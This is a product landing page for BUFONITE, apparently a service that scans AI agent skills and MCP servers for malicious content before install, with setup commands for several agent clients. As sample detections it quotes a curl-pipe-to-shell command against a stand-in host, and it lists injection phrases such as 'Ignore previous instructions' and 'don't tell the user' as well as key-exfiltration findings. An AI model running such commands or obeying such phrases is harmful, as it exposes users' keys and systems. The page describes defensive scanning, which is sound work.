One install is all it takes

Don’t let a skill drain your wallet.

Check every skill before your agent does.

How a check works

Four courses. One verdict.

~ — zsh

Fetch

Pinned to one commit, read in memory, never run.

In this run: 14 files · 412 KB · in memory

One exact version: A branch or tag becomes its full commit SHA. A new push always gets a fresh check, never an old grade.
Three hosts, no others: api.github.com, codeload.github.com and registry.npmjs.org, over HTTPS. Your link never picks the server.
Hard limits: 25 MB, 3,000 files, 512 KB read per file. Lines past the cut are kept, so padding can’t hide a payload.

Most it can say: Nothing. It reads, it doesn’t judge.

Static

The tricks a human reviewer scrolls past.

In this run: 1 high · install.sh:12; 12curl -sL https://acme.example/i.sh | sh

Hidden text: Invisible Unicode, zero-width characters, instructions in HTML comments, base64 that decodes to words.
Hijack attempts: “Ignore previous instructions”, “don’t tell the user”, fake <system> tags, requests to read and send keys.
Code that runs itself: curl | sh, install hooks, decode-then-eval, binaries to download.

Most it can say: Suspicious (C). A pattern can’t prove intent.

LLM review

Two models read it the way your agent will.

In this run: clean · classifier clean

Intent, not words: A trading skill that reads PRIVATE_KEY to sign its own trade is doing its job. Next to a POST to an unknown host, it’s theft.
Two votes: When both models flag the same thing, a medium becomes a high. Neither can rate anything critical.
What they skip: Cut tails and minified code go to a small local prompt-injection model instead.

Most it can say: Suspicious (C). The models describe, they don’t convict.

Sandbox

Runs it with fake keys behind a logging proxy.

In this run: bait stayed in the box

The bait: A private key, a seed phrase, a Solana keypair, API keys, an SSH key. All fake, all known to us.
Watched three ways: Network through a logging proxy, file writes, child processes. Bait in any of them is a leak.
Never where we scan: A separate gVisor or Firecracker machine installs the exact version Fetch pinned. 90 seconds per run.

Most it can say: Poisoned (CLOSED). No other course can.

C Suspicious

One high finding, with the file and the line.

This skill: score 78 of 100 · exit 1

Why C: A download piped into a shell at install.sh:12. The score alone would be a B, but any high finding makes it C.
Your agent: Doesn’t install it. It shows you the finding and asks first.
In CI: bufonite check exits 1, so the build stops.

The grade

Every finding has a price.

A check starts at 100. Each finding takes points off, and the worst one caps the grade. Switch findings on and off, or pick a grade, and see what your agent does.

StaticC at worst

Reads a .env file directlyLow · in 3 files, counted twice −4 npm postinstall hookMedium · package.json:12 −8 Pipes a download into a shellHigh · install.sh:12 −22 Adds an SSH key to authorized_keysCritical · setup.sh:31 −45

LLM reviewC at worst

Reads PRIVATE_KEY, and its docs never say whyMedium · src/index.js:58 −8 Both models flagged itTwo votes turn a medium into a high −22

SandboxThe only course that can close a skill

Sent the planted Solana keypair outCritical · POST 203.0.113.9:443 to 0

It stops and asks you first.

Every check starts at: 100
Pipes a download into a shell: −22
Score: 78

78 alone would be a B. A high finding makes it C.

Your agent

Not installing it: BUFONITE graded it C. install.sh:12 pipes a download into a shell. Still want it?

In CI, bufonite check exits 1 and the build stops.

Get started

Your agent checks first.

Two lines. The connector gives your agent check_skill. The skill tells it to call it before it adds any skill, plugin or MCP server. No API key, and the code it checks never runs on your machine.

terminal

# the connector: one line, no key
$ claude mcp add --transport http bufonite https://api.bufonite.com/mcp
# the skill, into ~/.claude/skills
$ npx bufonite skill install claude-code

# the connector: CLI, IDE extension and app share it
$ codex mcp add bufonite --url https://api.bufonite.com/mcp
# the skill, into ~/.agents/skills
$ npx bufonite skill install codex

# or hit “Add to Cursor” above
{
  "mcpServers": {
    "bufonite": { "url": "https://api.bufonite.com/mcp" }
  }
}
# the skill, from a terminal
$ npx bufonite skill install cursor

# or hit “Add to VS Code” above
$ code --add-mcp '{"name":"bufonite","type":"http","url":"https://api.bufonite.com/mcp"}'

# the connector: Claude.ai, Desktop and mobile
Settings → Connectors → Add custom connector
  Name  BUFONITE
  URL   https://api.bufonite.com/mcp
# the skill: hit “Download skill” above, then
Settings → Capabilities → Skills → Upload skill

# Windsurf, Gemini CLI, any client that starts a local server
{
  "mcpServers": {
    "bufonite": {
      "command": "npx",
      "args": ["-y", "bufonite-mcp"]
    }
  }
}
# the skill, for every agent it finds
$ npx bufonite skill install

# then just ask

> install github.com/acme/weather-skill

bufonite · check_skill

C Suspicious: pipes a download into a shell.

Not installing it: BUFONITE graded it C. Want the findings?

Check every skill before your agent does.

Four courses. One verdict.

Every finding has a price.

Your agent checks first.

A gate before every install.

Don’t let your agent eat something it shouldn’t.